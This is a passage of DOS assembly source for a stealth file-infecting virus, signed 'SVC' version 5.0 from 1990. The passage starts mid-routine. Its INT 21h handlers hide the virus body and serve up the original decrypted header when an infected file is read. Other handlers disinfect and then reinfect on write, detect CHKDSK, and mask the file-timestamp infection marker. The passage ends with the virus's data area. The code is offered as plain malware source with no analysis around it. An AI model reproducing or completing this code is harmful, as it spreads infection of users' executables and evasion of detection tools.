pop si
|
|
pop di
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
exit_replaceflags:
|
|
popf
|
|
pop cs:storesIP
|
|
pop cs:storesCS
|
|
pop cs:returnFlags
|
|
pushf
|
|
push cs:storesCS
|
|
push cs:storesIP
|
|
iret
|
|
handleread_exit:
|
|
jmp handleread__exit
|
|
|
|
handleread:
|
|
call dword ptr cs:oldint21 ; prechain
|
|
pushf
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push ds
|
|
push di
|
|
push si
|
|
push es
|
|
jc handleread_exit ; exit on error
|
|
cmp cs:filehand,0
|
|
je handleread_exit
|
|
cmp cs:filehand,bx
|
|
jne handleread_exit
|
|
mov cs:bufferoff,dx
|
|
mov cs:bufferseg,ds
|
|
mov cs:bytesread,ax
|
|
xor cx,cx ; get current file position
|
|
xor dx,dx
|
|
mov ax,4201h
|
|
call callint21
|
|
jc handleread_exit
|
|
sub ax,cs:bytesread ; find pre-read location
|
|
sbb dx,0 ; to see if need to
|
|
mov cs:origposhi,dx ; redirect it
|
|
mov cs:origposlo,ax
|
|
mov ax,4202h ; go to end of file
|
|
xor cx,cx
|
|
xor dx,dx
|
|
call callint21
|
|
sub ax,viruslength
|
|
sbb dx,0
|
|
mov cs:carrierEOFlo,ax
|
|
mov cs:carrierEOFhi,dx
|
|
cmp cs:origposhi,0 ; check if read was
|
|
jne handleread_notinheader ; from the header
|
|
cmp cs:origposlo,18h
|
|
jb handleread_inheader
|
|
handleread_notinheader:
|
|
mov cx,cs:origposhi ; check if read extended
|
|
mov dx,cs:origposlo ; into the virus
|
|
add dx,cs:bytesread
|
|
adc cx,0
|
|
cmp cx,cs:carrierEOFhi
|
|
jb handleread_notinvirus
|
|
ja handleread_invirus
|
|
cmp dx,cs:carrierEOFlo
|
|
ja handleread_invirus
|
|
handleread_notinvirus:
|
|
mov cx,cs:origposhi ; return to proper file
|
|
mov dx,cs:origposlo ; position
|
|
add dx,cs:bytesread
|
|
adc cx,0
|
|
mov ax,4200h
|
|
call callint21
|
|
handleread__exit:
|
|
pop es
|
|
pop si
|
|
pop di
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
jmp exit_replaceflags
|
|
handleread_invirus:
|
|
jmp handleread__invirus
|
|
handleread_inheader:
|
|
cmp cs:bytesread,0
|
|
je handleread_notinheader
|
|
mov cx,cs:carrierEOFhi
|
|
mov dx,cs:carrierEOFlo
|
|
add dx,offset savebuffer
|
|
adc cx,0
|
|
mov ax,4200h
|
|
call callint21
|
|
jc handleread_notinheader
|
|
push ds
|
|
pop es
|
|
push cs
|
|
pop ds
|
|
mov dx,offset savebuffer
|
|
mov ah,3Fh ; Read header
|
|
mov cx,18h
|
|
call callint21
|
|
jc handleread_notinheader
|
|
cmp ax,18h
|
|
jne handleread_notinheader
|
|
mov cx,cs:carrierEOFhi ; go to decryption values
|
|
mov dx,cs:carrierEOFlo
|
|
add dx,offset encryptval1
|
|
adc cx,0
|
|
mov ax,4200h
|
|
call callint21
|
|
mov ah,3Fh ; read decryption values
|
|
mov cx,2
|
|
mov dx,offset encryptval1
|
|
call callint21
|
|
jc handleread_inheader_error
|
|
mov si,offset savebuffer
|
|
mov ah,byte ptr cs:encryptval1
|
|
mov dh,byte ptr cs:encryptval2
|
|
call decrypt
|
|
mov cx,cs:origposlo
|
|
neg cx
|
|
add cx,18h
|
|
cmp cx,cs:bytesread
|
|
jb handleread_inheader_noadjust
|
|
mov cx,cs:bytesread
|
|
handleread_inheader_noadjust:
|
|
mov si,offset savebuffer ; copy previously read
|
|
add si,cs:origposlo ; stuff if necessary
|
|
mov di,cs:bufferoff
|
|
mov es,cs:bufferseg
|
|
cld
|
|
cmp cx,0
|
|
je handleread_inheader_nomove
|
|
rep movsb
|
|
handleread_inheader_nomove:
|
|
jmp handleread_notinheader
|
|
handleread_inheader_error:
|
|
jmp handleread_notinheader
|
|
handleread__invirus:
|
|
mov cx,cs:origposhi
|
|
cmp cx,cs:carrierEOFhi
|
|
ja handleread__invirus_gocarrierEOF
|
|
jc handleread__invirus_readpart
|
|
mov cx,cs:origposlo
|
|
cmp cx,cs:carrierEOFlo
|
|
jb handleread__invirus_readpart
|
|
handleread__invirus_gocarrierEOF:
|
|
mov cx,cs:origposhi
|
|
mov dx,cs:origposlo
|
|
mov ax,4200h
|
|
call callint21
|
|
xor ax,ax
|
|
handleread__invirus_exit:
|
|
pop es
|
|
pop si
|
|
pop di
|
|
pop ds
|
|
pop dx
|
|
pop cx
|
|
pop cs:returnFlags
|
|
jmp exit_replaceflags
|
|
handleread__invirus_readpart:
|
|
mov cx,cs:carrierEOFhi ; read portion of
|
|
mov dx,cs:carrierEOFlo ; file up to virus
|
|
mov ax,4200h
|
|
call callint21
|
|
sub ax,cs:origposlo
|
|
jmp short handleread__invirus_exit
|
|
handlewrite:
|
|
cmp bx,0
|
|
je handlewrite_exit
|
|
cmp bx,cs:filehand
|
|
jne handlewrite_exit
|
|
mov ax,4201h ; get current position
|
|
xor cx,cx ; in the file
|
|
xor dx,dx
|
|
call callint21
|
|
jc handlewrite_exit
|
|
mov cs:curposlo,ax
|
|
mov cs:curposhi,dx
|
|
mov ax,4202h ; go to end of file
|
|
xor cx,cx ; to find the filesize
|
|
xor dx,dx
|
|
call callint21
|
|
mov cs:filesizelo,ax
|
|
mov cs:filesizehi,dx
|
|
call disinfect ; disinfect the file
|
|
jc handlewrite_done
|
|
cmp cs:handletoinfect,0
|
|
jne handlewrite_done
|
|
mov cs:handletoinfect,bx
|
|
mov cs:filehand,0
|
|
handlewrite_done:
|
|
mov dx,cs:curposlo ; return to original
|
|
mov cx,cs:curposhi ; position
|
|
mov ax,4200h
|
|
call callint21
|
|
handlewrite_exit:
|
|
jmp exitint21
|
|
|
|
terminate:
|
|
mov cs:chkdskflag,0
|
|
jmp exitint21
|
|
|
|
check_chkdsk:
|
|
mov si,dx
|
|
cld
|
|
check_chkdsk_loop1:
|
|
lodsw
|
|
cmp ah,0
|
|
je check_chkdsk_exit
|
|
cmp ax,'HC'
|
|
je check_chkdsk_loop2
|
|
cmp ax,'hc'
|
|
je check_chkdsk_loop2
|
|
dec si
|
|
jmp short check_chkdsk_loop1
|
|
check_chkdsk_exit:
|
|
retn
|
|
check_chkdsk_loop2:
|
|
push si
|
|
lodsw
|
|
cmp ax,'DK'
|
|
pop si
|
|
jz check_chkdsk_found
|
|
cmp ax,'dk'
|
|
je check_chkdsk_found
|
|
dec si
|
|
jmp short check_chkdsk_loop1
|
|
check_chkdsk_found:
|
|
mov cs:chkdskflag,1
|
|
retn
|
|
|
|
getsetfiletime:
|
|
cmp al,0 ; get file tiem?
|
|
jne getsetfiletime_exit ; nope, exit
|
|
call dword ptr cs:oldint21 ; prechain
|
|
pushf
|
|
and cx,1Eh ; if (seconds == 60)
|
|
cmp cx,1Eh ; then xor with 60h
|
|
jne getsetfiletime_nofix ; to hide the change
|
|
xor cx,1Eh ; otherwise, don't
|
|
getsetfiletime_nofix:
|
|
jmp exit_replaceflags
|
|
getsetfiletime_exit:
|
|
popf
|
|
jmp dword ptr cs:oldint21
|
|
|
|
db '(c) 1990 by SVC,Vers. '
|
|
|
|
|
|
|
|
infection_marker db '5.0 ',0
|
|
|
|
begindata:
|
|
oldint1 dw 0, 0
|
|
oldint3 dw 0, 0
|
|
oldint8 dw 0, 0
|
|
oldint21 dw 0, 0
|
|
savebuffer dw 20CDh
|
|
dw 11 dup (0)
|
|
tickcount db 0
|
|
carrierPSP dw 0
|
|
origposlo dw 0
|
|
origposhi dw 0
|
|
carrierEOFlo dw 0
|
|
carrierEOFhi dw 0
|
|
bytesread dw 0
|
|
bufferoff dw 0
|
|
bufferseg dw 0
|
|
tempstoreCX dw 0
|
|
tempstoreDX dw 0
|
|
filehand dw 0
|
|
fileattr dw 0
|
|
filetime dw 0
|
|
filedate dw 0
|
|
chkdskflag dw 0
|
|
oldint24 dw 0, 0
|
|
oldint23 dw 0, 0
|
|
handletoinfect dw 0
|
|
storesIP dw 0
|
|
storesCS dw 0
|
|
returnFlags dw 0
|
|
filesizelo dw 0
|
|
filesizehi dw 0
|
|
curposlo dw 0
|
|
curposhi dw 0
|
|
workbuffer dw 12 dup (0)
|
|
storeAX dw 0
|
|
db 0
|
|
storess dw 0
|
|
storesp dw 0
|
|
int21command dw 0
|
|
encryptval1 db 0
|
|
encryptval2 db 0
|
|
dw 1990h ; written 1990
|
|
versionbyte db 50h ; version 5.0
|
|
|
|
endvirus = $
|
|
viruslength = $ - start
|
|
end start
|